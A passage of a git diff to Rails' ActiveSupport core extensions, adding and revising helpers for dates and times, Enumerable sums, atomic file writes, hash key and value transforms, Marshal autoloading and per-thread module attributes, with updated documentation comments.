DateTime.current # => Thu, 07 May 2015 13:31:16 +0000 + # now.next_week # => Mon, 11 May 2015 00:00:00 +0000 def next_week(given_day_in_next_week = Date.beginning_of_week, same_time: false) result = first_hour(weeks_since(1).beginning_of_week.days_since(days_span(given_day_in_next_week))) same_time ? copy_time_to(result) : result @@ -250,6 +294,11 @@ module DateAndTime end alias :at_end_of_year :end_of_year + # Returns a Range representing the whole day of the current date/time. + def all_day + beginning_of_day..end_of_day + end + # Returns a Range representing the whole week of the current date/time. # Week starts on start_day, default is <tt>Date.week_start</tt> or <tt>config.week_start</tt> when set. def all_week(start_day = Date.beginning_of_week) diff --git a/activesupport/lib/active_support/core_ext/date_and_time/compatibility.rb b/activesupport/lib/active_support/core_ext/date_and_time/compatibility.rb new file mode 100644 index 0000000000..19e596a144 --- /dev/null +++ b/activesupport/lib/active_support/core_ext/date_and_time/compatibility.rb @@ -0,0 +1,18 @@ +require 'active_support/core_ext/module/attribute_accessors' + +module DateAndTime + module Compatibility + # If true, +to_time+ preserves the timezone offset of receiver. + # + # NOTE: With Ruby 2.4+ the default for +to_time+ changed from + # converting to the local system time, to preserving the offset + # of the receiver. For backwards compatibility we're overriding + # this behavior, but new apps will have an initializer that sets + # this to true, because the new behavior is preferred. + mattr_accessor(:preserve_timezone, instance_writer: false) { false } + + def to_time + preserve_timezone ? getlocal(utc_offset) : getlocal + end + end +end diff --git a/activesupport/lib/active_support/core_ext/date_and_time/zones.rb b/activesupport/lib/active_support/core_ext/date_and_time/zones.rb index 96c6df9407..e2432c8f8a 100644 --- a/activesupport/lib/active_support/core_ext/date_and_time/zones.rb +++ b/activesupport/lib/active_support/core_ext/date_and_time/zones.rb @@ -4,8 +4,8 @@ module DateAndTime # if Time.zone_default is set. Otherwise, it returns the current time. # # Time.zone = 'Hawaii' # => 'Hawaii' - # DateTime.utc(2000).in_time_zone # => Fri, 31 Dec 1999 14:00:00 HST -10:00 - # Date.new(2000).in_time_zone # => Sat, 01 Jan 2000 00:00:00 HST -10:00 + # Time.utc(2000).in_time_zone # => Fri, 31 Dec 1999 14:00:00 HST -10:00 + # Date.new(2000).in_time_zone # => Sat, 01 Jan 2000 00:00:00 HST -10:00 # # This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt> as the local zone # instead of the operating system's time zone. @@ -14,8 +14,7 @@ module DateAndTime # and the conversion will be based on that zone instead of <tt>Time.zone</tt>. # # Time.utc(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00 - # DateTime.utc(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00 - # Date.new(2000).in_time_zone('Alaska') # => Sat, 01 Jan 2000 00:00:00 AKST -09:00 + # Date.new(2000).in_time_zone('Alaska') # => Sat, 01 Jan 2000 00:00:00 AKST -09:00 def in_time_zone(zone = ::Time.zone) time_zone = ::Time.find_zone! zone time = acts_like?(:time) ? self : nil diff --git a/activesupport/lib/active_support/core_ext/date_time.rb b/activesupport/lib/active_support/core_ext/date_time.rb index e8a27b9f38..86177488c0 100644 --- a/activesupport/lib/active_support/core_ext/date_time.rb +++ b/activesupport/lib/active_support/core_ext/date_time.rb @@ -1,4 +1,5 @@ require 'active_support/core_ext/date_time/acts_like' +require 'active_support/core_ext/date_time/blank' require 'active_support/core_ext/date_time/calculations' +require 'active_support/core_ext/date_time/compatibility' require 'active_support/core_ext/date_time/conversions' -require 'active_support/core_ext/date_time/zones' diff --git a/activesupport/lib/active_support/core_ext/date_time/blank.rb b/activesupport/lib/active_support/core_ext/date_time/blank.rb new file mode 100644 index 0000000000..56981b75fb --- /dev/null +++ b/activesupport/lib/active_support/core_ext/date_time/blank.rb @@ -0,0 +1,12 @@ +require 'date' + +class DateTime #:nodoc: + # No DateTime is ever blank: + # + # DateTime.now.blank? # => false + # + # @return [false] + def blank? + false + end +end diff --git a/activesupport/lib/active_support/core_ext/date_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_time/calculations.rb index 55ad384f4f..9e89a33491 100644 --- a/activesupport/lib/active_support/core_ext/date_time/calculations.rb +++ b/activesupport/lib/active_support/core_ext/date_time/calculations.rb @@ -28,6 +28,13 @@ class DateTime end_of_day.to_i - to_i end + # Returns the fraction of a second as a +Rational+ + # + # DateTime.new(2012, 8, 29, 0, 0, 0.5).subsec # => (1/2) + def subsec + sec_fraction + end + # Returns a new DateTime where one or more of the elements have been changed # according to the +options+ parameter. The time options (<tt>:hour</tt>, # <tt>:min</tt>, <tt>:sec</tt>) reset cascadingly, so if only the hour is @@ -143,14 +150,32 @@ class DateTime end alias :at_end_of_minute :end_of_minute - # Adjusts DateTime to UTC by adding its offset value; offset is set to 0. + # Returns a <tt>Time</tt> instance of the simultaneous time in the system timezone. + def localtime(utc_offset = nil) + utc = new_offset(0) + + Time.utc( + utc.year, utc.month, utc.day, + utc.hour, utc.min, utc.sec + utc.sec_fraction + ).getlocal(utc_offset) + end + alias_method :getlocal, :localtime + + # Returns a <tt>Time</tt> instance of the simultaneous time in the UTC timezone. # # DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)) # => Mon, 21 Feb 2005 10:11:12 -0600 - # DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)).utc # => Mon, 21 Feb 2005 16:11:12 +0000 + # DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)).utc # => Mon, 21 Feb 2005 16:11:12 UTC def utc - new_offset(0) + utc = new_offset(0) + + Time.utc( + utc.year, utc.month, utc.day, + utc.hour, utc.min, utc.sec + utc.sec_fraction + ) end + alias_method :getgm, :utc alias_method :getutc, :utc + alias_method :gmtime, :utc # Returns +true+ if <tt>offset == 0</tt>. def utc? @@ -165,13 +190,10 @@ class DateTime # Layers additional behavior on DateTime#<=> so that Time and # ActiveSupport::TimeWithZone instances can be compared with a DateTime. def <=>(other) - if other.kind_of?(Infinity) - super - elsif other.respond_to? :to_datetime - super other.to_datetime + if other.respond_to? :to_datetime + super other.to_datetime rescue nil else - nil + super end end - end diff --git a/activesupport/lib/active_support/core_ext/date_time/compatibility.rb b/activesupport/lib/active_support/core_ext/date_time/compatibility.rb new file mode 100644 index 0000000000..03e4a2adfa --- /dev/null +++ b/activesupport/lib/active_support/core_ext/date_time/compatibility.rb @@ -0,0 +1,5 @@ +require 'active_support/core_ext/date_and_time/compatibility' + +class DateTime + prepend DateAndTime::Compatibility +end diff --git a/activesupport/lib/active_support/core_ext/date_time/conversions.rb b/activesupport/lib/active_support/core_ext/date_time/conversions.rb index 2a9c09fc29..f59d05b214 100644 --- a/activesupport/lib/active_support/core_ext/date_time/conversions.rb +++ b/activesupport/lib/active_support/core_ext/date_time/conversions.rb @@ -40,6 +40,8 @@ class DateTime alias_method :to_default_s, :to_s if instance_methods(false).include?(:to_s) alias_method :to_s, :to_formatted_s + # Returns a formatted string of the offset from UTC, or an alternative + # string if the time zone is already UTC. # # datetime = DateTime.civil(2000, 1, 1, 0, 0, 0, Rational(-6, 24)) # datetime.formatted_offset # => "-06:00" diff --git a/activesupport/lib/active_support/core_ext/date_time/zones.rb b/activesupport/lib/active_support/core_ext/date_time/zones.rb deleted file mode 100644 index c39f358395..0000000000 --- a/activesupport/lib/active_support/core_ext/date_time/zones.rb +++ /dev/null @@ -1,6 +0,0 @@ -require 'date' -require 'active_support/core_ext/date_and_time/zones' - -class DateTime - include DateAndTime::Zones -end diff --git a/activesupport/lib/active_support/core_ext/enumerable.rb b/activesupport/lib/active_support/core_ext/enumerable.rb index 7a893292b3..8ebe758078 100644 --- a/activesupport/lib/active_support/core_ext/enumerable.rb +++ b/activesupport/lib/active_support/core_ext/enumerable.rb @@ -17,11 +17,12 @@ module Enumerable # The default sum of an empty list is zero. You can override this default: # # [].sum(Payment.new(0)) { |i| i.amount } # => Payment.new(0) - def sum(identity = 0, &block) + def sum(identity = nil, &block) if block_given? map(&block).sum(identity) else - inject { |sum, element| sum + element } || identity + sum = identity ? inject(identity, :+) : inject(:+) + sum || identity || 0 end end @@ -33,7 +34,9 @@ module Enumerable # => { "Chade- Fowlersburg-e" => <Person ...>, "David Heinemeier Hansson" => <Person ...>, ...} def index_by if block_given? - Hash[map { |elem| [yield(elem), elem] }] + result = {} + each { |elem| result[yield(elem)] = elem } + result else to_enum(:index_by) { size if respond_to?(:size) } end @@ -71,20 +74,56 @@ module Enumerable def without(*elements) reject { |element| elements.include?(element) } end + + # Convert an enumerable to an array based on the given key. + # + # [{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name) + # => ["David", "Rafael", "Aaron"] + # + # [{ id: 1, name: "David" }, { id: 2, name: "Rafael" }].pluck(:id, :name) + # => [[1, "David"], [2, "Rafael"]] + def pluck(*keys) + if keys.many? + map { |element| keys.map { |key| element[key] } } + else + map { |element| element[keys.first] } + end + end end class Range #:nodoc: # Optimize range sum to use arithmetic progression if a block is not given and # we have a range of numeric values. - def sum(identity = 0) + def sum(identity = nil) if block_given? || !(first.is_a?(Integer) && last.is_a?(Integer)) super else actual_last = exclude_end? ? (last - 1) : last if actual_last >= first - (actual_last - first + 1) * (actual_last + first) / 2 + sum = identity || 0 + sum + (actual_last - first + 1) * (actual_last + first) / 2 + else + identity || 0 + end + end + end +end + +# Array#sum was added in Ruby 2.4 but it only works with Numeric elements. +# +# We tried shimming it to attempt the fast native method, rescue TypeError, +# and fall back to the compatible implementation, but that's much slower than +# just calling the compat method in the first place. +if Array.instance_methods(false).include?(:sum) && !(%w[a].sum rescue false) + class Array + alias :orig_sum :sum + + def sum(init = nil, &block) #:nodoc: + if init.is_a?(Numeric) || first.is_a?(Numeric) + init ||= 0 + orig_sum(init, &block) else - identity + super end end end diff --git a/activesupport/lib/active_support/core_ext/file/atomic.rb b/activesupport/lib/active_support/core_ext/file/atomic.rb index fad6fa8d9d..463fd78412 100644 --- a/activesupport/lib/active_support/core_ext/file/atomic.rb +++ b/activesupport/lib/active_support/core_ext/file/atomic.rb @@ -8,43 +8,45 @@ class File # file.write('hello') # end # - # If your temp directory is not on the same filesystem as the file you're - # trying to write, you can provide a different temporary directory. + # This method needs to create a temporary file. By default it will create it + # in the same directory as the destination file. If you don't like this + # behavior you can provide a different directory but it must be on the + # same physical filesystem as the file you're trying to write. # # File.atomic_write('/data/something.important', '/data/tmp') do |file| # file.write('hello') # end - def self.atomic_write(file_name, temp_dir = Dir.tmpdir) + def self.atomic_write(file_name, temp_dir = dirname(file_name)) require 'tempfile' unless defined?(Tempfile) - require 'fileutils' unless defined?(FileUtils) - temp_file = Tempfile.new(basename(file_name), temp_dir) - temp_file.binmode - return_val = yield temp_file - temp_file.close + Tempfile.open(".#{basename(file_name)}", temp_dir) do |temp_file| + temp_file.binmode + return_val = yield temp_file + temp_file.close - if File.exist?(file_name) - # Get original file permissions - old_stat = stat(file_name) - else - # If not possible, probe which are the default permissions in the - # destination directory. - old_stat = probe_stat_in(dirname(file_name)) - end - - # Overwrite original file with temp file - FileUtils.mv(temp_file.path, file_name) + old_stat = if exist?(file_name) + # Get original file permissions + stat(file_name) + elsif temp_dir != dirname(file_name) + # If not possible, probe which are the default permissions in the + # destination directory. + probe_stat_in(dirname(file_name)) + end - # Set correct permissions on new file - begin - chown(old_stat.uid, old_stat.gid, file_name) - # This operation will affect filesystem ACL's - chmod(old_stat.mode, file_name) + if old_stat + # Set correct permissions on new file + begin + chown(old_stat.uid, old_stat.gid, temp_file.path) + # This operation will affect filesystem ACL's + chmod(old_stat.mode, temp_file.path) + rescue Errno::EPERM, Errno::EACCES + # Changing file ownership failed, moving on. + end + end - # Make sure we return the result of the yielded block + # Overwrite original file with temp file + rename(temp_file.path, file_name) return_val - rescue Errno::EPERM, Errno::EACCES - # Changing file ownership failed, moving on. end end diff --git a/activesupport/lib/active_support/core_ext/hash/conversions.rb b/activesupport/lib/active_support/core_ext/hash/conversions.rb index 2149d4439d..dd5ebe6d8d 100644 --- a/activesupport/lib/active_support/core_ext/hash/conversions.rb +++ b/activesupport/lib/active_support/core_ext/hash/conversions.rb @@ -31,7 +31,7 @@ class Hash # with +key+ as <tt>:root</tt>, and +key+ singularized as second argument. The # callable can add nodes by using <tt>options[:builder]</tt>. # - # 'foo'.to_xml(lambda { |options, key| options[:builder].b(key) }) + # {foo: lambda { |options, key| options[:builder].b(key) }}.to_xml # # => "<b>foo</b>" # # * If +value+ responds to +to_xml+ the method is invoked with +key+ as <tt>:root</tt>. @@ -106,7 +106,25 @@ class Hash # # => {"hash"=>{"foo"=>1, "bar"=>2}} # # +DisallowedType+ is raised if the XML contains attributes with <tt>type="yaml"</tt> or - # <tt>type="symbol"</tt>. Use <tt>Hash.from_trusted_xml</tt> to parse this XML. + # <tt>type="symbol"</tt>. Use <tt>Hash.from_trusted_xml</tt> to + # parse this XML. + # + # Custom +disallowed_types+ can also be passed in the form of an + # array. + # + # xml = <<-XML + # <?xml version="1.0" encoding="UTF-8"?> + # <hash> + # <foo type="integer">1</foo> + # <bar type="string">"David"</bar> + # </hash> + # XML + # + # hash = Hash.from_xml(xml, ['integer']) + # # => ActiveSupport::XMLConverter::DisallowedType: Disallowed type attribute: "integer" + # + # Note that passing custom disallowed types will override the default types, + # which are Symbol and YAML. def from_xml(xml, disallowed_types = nil) ActiveSupport::XMLConverter.new(xml, disallowed_types).to_h end @@ -120,6 +138,8 @@ end module ActiveSupport class XMLConverter # :nodoc: + # Raised if the XML contains attributes with type="yaml" or + # type="symbol". Read Hash#from_xml for more details. class DisallowedType < StandardError def initialize(type) super "Disallowed type attribute: #{type.inspect}" diff --git a/activesupport/lib/active_support/core_ext/hash/except.rb b/activesupport/lib/active_support/core_ext/hash/except.rb index 6e397abf51..2f6d38c1f6 100644 --- a/activesupport/lib/active_support/core_ext/hash/except.rb +++ b/activesupport/lib/active_support/core_ext/hash/except.rb @@ -1,8 +1,9 @@ class Hash - # Returns a hash that includes everything but the given keys. - # hash = { a: true, b: false, c: nil} - # hash.except(:c) # => { a: true, b: false} - # hash # => { a: true, b: false, c: nil} + # Returns a hash that includes everything except given keys. + # hash = { a: true, b: false, c: nil } + # hash.except(:c) # => { a: true, b: false } + # hash.except(:a, :b) # => { c: nil } + # hash # => { a: true, b: false, c: nil } # # This is useful for limiting a set of parameters to everything but a few known toggles: # @person.update(params[:person].except(:admin)) @@ -10,10 +11,10 @@ class Hash dup.except!(*keys) end - # Replaces the hash without the given keys. - # hash = { a: true, b: false, c: nil} - # hash.except!(:c) # => { a: true, b: false} - # hash # => { a: true, b: false } + # Removes the given keys from hash and returns it. + # hash = { a: true, b: false, c: nil } + # hash.except!(:c) # => { a: true, b: false } + # hash # => { a: true, b: false } def except!(*keys) keys.each { |key| delete(key) } self diff --git a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb index 28cb3e2a3b..6df7b4121b 100644 --- a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb +++ b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb @@ -6,7 +6,7 @@ class Hash # # { a: 1 }.with_indifferent_access['a'] # => 1 def with_indifferent_access - ActiveSupport::HashWithIndifferentAccess.new_from_hash_copying_default(self) + ActiveSupport::HashWithIndifferentAccess.new(self) end # Called when object is nested under an object that receives diff --git a/activesupport/lib/active_support/core_ext/hash/keys.rb b/activesupport/lib/active_support/core_ext/hash/keys.rb index c30044b9ff..1bfa18aeee 100644 --- a/activesupport/lib/active_support/core_ext/hash/keys.rb +++ b/activesupport/lib/active_support/core_ext/hash/keys.rb @@ -1,23 +1,27 @@ class Hash - # Returns a new hash with all keys converted using the block operation. + # Returns a new hash with all keys converted using the +block+ operation. # # hash = { name: 'Rob', age: '28' } # - # hash.transform_keys{ |key| key.to_s.upcase } - # # => {"NAME"=>"Rob", "AGE"=>"28"} + # hash.transform_keys { |key| key.to_s.upcase } # => {"NAME"=>"Rob", "AGE"=>"28"} + # + # If you do not provide a +block+, it will return an Enumerator + # for chaining with other methods: + # + # hash.transform_keys.with_index { |k, i| [k, i].join } # => {"name0"=>"Rob", "age1"=>"28"} def transform_keys - return enum_for(:transform_keys) unless block_given? - result = self.class.new + return enum_for(:transform_keys) { size } unless block_given? + result = {} each_key do |key| result[yield(key)] = self[key] end result end - # Destructively converts all keys using the block operations. - # Same as transform_keys but modifies +self+. + # Destructively converts all keys using the +block+ operations. + # Same as +transform_keys+ but modifies +self+. def transform_keys! - return enum_for(:transform_keys!) unless block_given? + return enum_for(:transform_keys!) { size } unless block_given? keys.each do |key| self[yield(key)] = delete(key) end @@ -60,7 +64,7 @@ class Hash alias_method :to_options!, :symbolize_keys! # Validates all keys in a hash match <tt>*valid_keys</tt>, raising - # ArgumentError on a mismatch. + # +ArgumentError+ on a mismatch. # # Note that keys are treated differently than HashWithIndifferentAccess, # meaning that string and symbol keys will not match. diff --git a/activesupport/lib/active_support/core_ext/hash/transform_values.rb b/activesupport/lib/active_support/core_ext/hash/transform_values.rb index e9bcce761f..7d507ac998 100644 --- a/activesupport/lib/active_support/core_ext/hash/transform_values.rb +++ b/activesupport/lib/active_support/core_ext/hash/transform_values.rb @@ -2,10 +2,15 @@ class Hash # Returns a new hash with the results of running +block+ once for every value. # The keys are unchanged. # - # { a: 1, b: 2, c: 3 }.transform_values { |x| x * 2 } - # # => { a: 2, b: 4, c: 6 } + # { a: 1, b: 2, c: 3 }.transform_values { |x| x * 2 } # => { a: 2, b: 4, c: 6 } + # + # If you do not provide a +block+, it will return an Enumerator + # for chaining with other methods: + # + # { a: 1, b: 2 }.transform_values.with_index { |v, i| [v, i].join.to_i } # => { a: 10, b: 21 } def transform_values - return enum_for(:transform_values) unless block_given? + return enum_for(:transform_values) { size } unless block_given? + return {} if empty? result = self.class.new each do |key, value| result[key] = yield(value) @@ -13,9 +18,10 @@ class Hash result end - # Destructive +transform_values+ + # Destructively converts all values using the +block+ operations. + # Same as +transform_values+ but modifies +self+. def transform_values! - return enum_for(:transform_values!) unless block_given? + return enum_for(:transform_values!) { size } unless block_given? each do |key, value| self[key] = yield(value) end diff --git a/activesupport/lib/active_support/core_ext/integer/time.rb b/activesupport/lib/active_support/core_ext/integer/time.rb index 82080ffe51..87185b024f 100644 --- a/activesupport/lib/active_support/core_ext/integer/time.rb +++ b/activesupport/lib/active_support/core_ext/integer/time.rb @@ -17,28 +17,13 @@ class Integer # # # equivalent to Time.now.advance(months: 4, years: 5) # (4.months + 5.years).from_now - # - # While these methods provide precise calculation when used as in the examples - # above, care should be taken to note that this is not true if the result of - # +months+, +years+, etc is converted before use: - # - # # equivalent to 30.days.to_i.from_now - # 1.month.to_i.from_now - # - # # equivalent to 365.25.days.to_f.from_now - # 1.year.to_f.from_now - # - # In such cases, Ruby's core - # Date[http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html] and - # Time[http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html] should be used for precision - # date and time arithmetic. def months ActiveSupport::Duration.new(self * 30.days, [[:months, self]]) end alias :month :months def years - ActiveSupport::Duration.new(self * 365.25.days, [[:years, self]]) + ActiveSupport::Duration.new(self * 365.25.days.to_i, [[:years, self]]) end alias :year :years end diff --git a/activesupport/lib/active_support/core_ext/kernel/concern.rb b/activesupport/lib/active_support/core_ext/kernel/concern.rb index bf72caa058..18bcc01fa4 100644 --- a/activesupport/lib/active_support/core_ext/kernel/concern.rb +++ b/activesupport/lib/active_support/core_ext/kernel/concern.rb @@ -1,6 +1,8 @@ require 'active_support/core_ext/module/concerning' module Kernel + module_function + # A shortcut to define a toplevel concern, not within a module. # # See Module::Concerning for more. diff --git a/activesupport/lib/active_support/core_ext/kernel/reporting.rb b/activesupport/lib/active_support/core_ext/kernel/reporting.rb index 9189e6d977..d0197af95f 100644 --- a/activesupport/lib/active_support/core_ext/kernel/reporting.rb +++ b/activesupport/lib/active_support/core_ext/kernel/reporting.rb @@ -1,6 +1,6 @@ -require 'tempfile' - module Kernel + module_function + # Sets $VERBOSE to nil for the duration of the block and back to its original # value afterwards. # diff --git a/activesupport/lib/active_support/core_ext/load_error.rb b/activesupport/lib/active_support/core_ext/load_error.rb index d9fb392752..60732eb41a 100644 --- a/activesupport/lib/active_support/core_ext/load_error.rb +++ b/activesupport/lib/active_support/core_ext/load_error.rb @@ -23,7 +23,7 @@ class LoadError # Returns true if the given path name (except perhaps for the ".rb" # extension) is the missing file which caused the exception to be raised. def is_missing?(location) - location.sub(/\.rb$/, '') == path.sub(/\.rb$/, '') + location.sub(/\.rb$/, ''.freeze) == path.sub(/\.rb$/, ''.freeze) end end diff --git a/activesupport/lib/active_support/core_ext/marshal.rb b/activesupport/lib/active_support/core_ext/marshal.rb index 56c79c04bd..edfc8296fe 100644 --- a/activesupport/lib/active_support/core_ext/marshal.rb +++ b/activesupport/lib/active_support/core_ext/marshal.rb @@ -1,21 +1,22 @@ -require 'active_support/core_ext/module/aliasing' - -module Marshal - class << self - def load_with_autoloading(source) - load_without_autoloading(source) +module ActiveSupport + module MarshalWithAutoloading # :nodoc: + def load(source) + super(source) rescue ArgumentError, NameError => exc - if exc.message.match(%r|undefined class/module (.+)|) + if exc.message.match(%r|undefined class/module (.+?)(?:::)?\z|) # try loading the class/module - $1.constantize - # if it is a IO we need to go back to read the object + loaded = $1.constantize + + raise unless $1 == loaded.name + + # if it is an IO we need to go back to read the object source.rewind if source.respond_to?(:rewind) retry else raise exc end end - - alias_method_chain :load, :autoloading end end + +Marshal.singleton_class.prepend(ActiveSupport::MarshalWithAutoloading) diff --git a/activesupport/lib/active_support/core_ext/module.rb b/activesupport/lib/active_support/core_ext/module.rb index b4efff8b24..ef038331c2 100644 --- a/activesupport/lib/active_support/core_ext/module.rb +++ b/activesupport/lib/active_support/core_ext/module.rb @@ -3,6 +3,7 @@ require 'active_support/core_ext/module/introspection' require 'active_support/core_ext/module/anonymous' require 'active_support/core_ext/module/reachable' require 'active_support/core_ext/module/attribute_accessors' +require 'active_support/core_ext/module/attribute_accessors_per_thread' require 'active_support/core_ext/module/attr_internal' require 'active_support/core_ext/module/concerning' require 'active_support/core_ext/module/delegation' diff --git a/activesupport/lib/active_support/core_ext/module/aliasing.rb b/activesupport/lib/active_support/core_ext/module/aliasing.rb index 0a6fadf928..b6934b9c54 100644 --- a/activesupport/lib/active_support/core_ext/module/aliasing.rb +++ b/activesupport/lib/active_support/core_ext/module/aliasing.rb @@ -1,4 +1,7 @@ class Module + # NOTE: This method is deprecated. Please use <tt>Module#prepend</tt> that + # comes with Ruby 2.0 or newer instead. + # # Encapsulates the common pattern of: # # alias_method :foo_without_feature, :foo @@ -21,6 +24,8 @@ class Module # # so you can safely chain foo, foo?, foo! and/or foo= with the same feature. def alias_method_chain(target, feature) + ActiveSupport::Deprecation.warn("alias_method_chain is deprecated. Please, use Module#prepend instead. From module, you can access the original method using super.") + # Strip out punctuation on predicates, bang or writer methods since # e.g. target?_without_feature is not a valid method name. aliased_target, punctuation = target.to_s.sub(/([?!=])$/, ''), $1 @@ -43,7 +48,7 @@ class Module end # Allows you to make aliases for attributes, which includes - # getter, setter, and query methods. + # getter, setter, and a predicate. # # class Content < ActiveRecord::Base # # has a title attribute diff --git a/activesupport/lib/active_support/core_ext/module/anonymous.rb b/activesupport/lib/active_support/core_ext/module/anonymous.rb index 0ecc67a855..510c9a5430 100644 --- a/activesupport/lib/active_support/core_ext/module/anonymous.rb +++ b/activesupport/lib/active_support/core_ext/module/anonymous.rb @@ -7,7 +7,7 @@ class Module # m = Module.new # m.name # => nil # - # +anonymous?+ method returns true if module does not have a name: + # +anonymous?+ method returns true if module does not have a name, false otherwise: # # Module.new.anonymous? # => true # @@ -18,8 +18,10 @@ class Module # via the +module+ or +class+ keyword or by an explicit assignment: # # m = Module.new # creates an anonymous module - # M = m # => m gets a name here as a side-effect + # m.anonymous? # => true + # M = m # m gets a name here as a side-effect # m.name # => "M" + # m.anonymous? # => false def anonymous? name.nil? end diff --git a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb index d4e6b5a1ac..567ac825e9 100644 --- a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb +++ b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb @@ -5,7 +5,7 @@ require 'active_support/core_ext/array/extract_options' # attributes. class Module # Defines a class attribute and creates a class and instance reader methods. - # The underlying the class variable is set to +nil+, if it is not previously + # The underlying class variable is set to +nil+, if it is not previously # defined. # # module HairColors @@ -19,15 +19,15 @@ class Module # The attribute name must be a valid method name in Ruby. # # module Foo - # mattr_reader :"1_Badname " + # mattr_reader :"1_Badname" # end - # # => NameError: invalid attribute name + # # => NameError: invalid attribute name: 1_Badname # # If you want to opt out the creation on the instance reader method, pass # <tt>instance_reader: false</tt> or <tt>instance_accessor: false</tt>. # # module HairColors - # mattr_writer :hair_colors, instance_reader: false + # mattr_reader :hair_colors, instance_reader: false # end # # class Person @@ -40,7 +40,7 @@ class Module # Also, you can pass a block to set up the attribute with a default value. # # module HairColors - # cattr_reader :hair_colors do + # mattr_reader :hair_colors do # [:brown, :black, :blonde, :red] # end # end @@ -49,11 +49,11 @@ class Module # include HairColors # end # - # Person.hair_colors # => [:brown, :black, :blonde, :red] + # Person.new.hair_colors # => [:brown, :black, :blonde, :red] def mattr_reader(*syms) options = syms.extract_options! syms.each do |sym| - raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/ + raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /\A[_A-Za-z]\w*\z/ class_eval(<<-EOS, __FILE__, __LINE__ + 1) @@#{sym} = nil unless defined? @@#{sym} @@ -105,7 +105,7 @@ class Module # # Also, you can pass a block to set up the attribute with a default value. # - # class HairColors + # module HairColors # mattr_writer :hair_colors do # [:brown, :black, :blonde, :red] # end @@ -119,7 +119,7 @@ class Module def mattr_writer(*syms) options = syms.extract_options! syms.each do |sym| - raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/ + raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /\A[_A-Za-z]\w*\z/ class_eval(<<-EOS, __FILE__, __LINE__ + 1) @@#{sym} = nil unless defined? @@#{sym} @@ -150,8 +150,8 @@ class Module # include HairColors # end # - # Person.hair_colors = [:brown, :black, :blonde, :red] - # Person.hair_colors # => [:brown, :black, :blonde, :red] + # HairColors.hair_colors = [:brown, :black, :blonde, :red] + # HairColors.hair_colors # => [:brown, :black, :blonde, :red] # Person.new.hair_colors # => [:brown, :black, :blonde, :red] # # If a subclass changes the value then that would also change the value for @@ -161,8 +161,8 @@ class Module # class Male < Person # end # - # Male.hair_colors << :blue - # Person.hair_colors # => [:brown, :black, :blonde, :red, :blue] + # Male.new.hair_colors << :blue + # Person.new.hair_colors # => [:brown, :black, :blonde, :red, :blue] # # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>. # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>. @@ -206,7 +206,7 @@ class Module # Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red] def mattr_accessor(*syms, &blk) mattr_reader(*syms, &blk) - mattr_writer(*syms, &blk) + mattr_writer(*syms) end alias :cattr_accessor :mattr_accessor end diff --git a/activesupport/lib/active_support/core_ext/module/attribute_accessors_per_thread.rb b/activesupport/lib/active_support/core_ext/module/attribute_accessors_per_thread.rb new file mode 100644 index 0000000000..0b3d18301e --- /dev/null +++ b/activesupport/lib/active_support/core_ext/module/attribute_accessors_per_thread.rb @@ -0,0 +1,141 @@ +require 'active_support/core_ext/array/extract_options' + +# Extends the module object with class/module and instance accessors for +# class/module attributes, just like the native attr* accessors for instance +# attributes, but does so on a per-thread basis. +# +# So the values are scoped within the Thread.current space under the class name +# of the module. +class Module + # Defines a per-thread class attribute and creates class and instance reader methods. + # The underlying per-thread class variable is set to +nil+, if it is not previously defined. + # + # module Current + # thread_mattr_reader :user + # end + # + # Current.user # => nil + # Thread.current[:attr_Current_user] = "DHH" + # Current.user # => "DHH" + # + # The attribute name must be a valid method name in Ruby. + # + # module Foo + # thread_mattr_reader :"1_Badname" + # end + # # => NameError: invalid attribute name: 1_Badname + # + # If you want to opt out the creation on the instance reader method, pass + # <tt>instance_reader: false</tt> or <tt>instance_accessor: false</tt>. + # + # class Current + # thread_mattr_reader :user, instance_reader: false + # end + # + # Current.new.user # => NoMethodError + def thread_mattr_reader(*syms) + options = syms.extract_options! + + syms.each do |sym| + raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/ + class_eval(<<-EOS, __FILE__, __LINE__ + 1) + def self.#{sym} + Thread.current[:"attr_#{name}_#{sym}"] + end + EOS + + unless options[:instance_reader] == false || options[:instance_accessor] == false + class_eval(<<-EOS, __FILE__, __LINE__ + 1) + def #{sym} + Thread.current[:"attr_#{name}_#{sym}"] + end + EOS + end + end + end + alias :thread_cattr_reader :thread_mattr_reader + + # Defines a per-thread class attribute and creates a class and instance writer methods to + # allow assignment to the attribute. + # + # module Current + # thread_mattr_writer :user + # end + # + # Current.user = "DHH" + # Thread.current[:attr_Current_user] # => "DHH" + # + # If you want to opt out the instance writer method, pass + # <tt>instance_writer: false</tt> or <tt>instance_accessor: false</tt>. + # + # class Current + # thread_mattr_writer :user, instance_writer: false + # end + # + # Current.new.user = "DHH" # => NoMethodError + def thread_mattr_writer(*syms) + options = syms.extract_options! + syms.each do |sym| + raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/ + class_eval(<<-EOS, __FILE__, __LINE__ + 1) + def self.#{sym}=(obj) + Thread.current[:"attr_#{name}_#{sym}"] = obj + end + EOS + + unless options[:instance_writer] == false || options[:instance_accessor] == false + 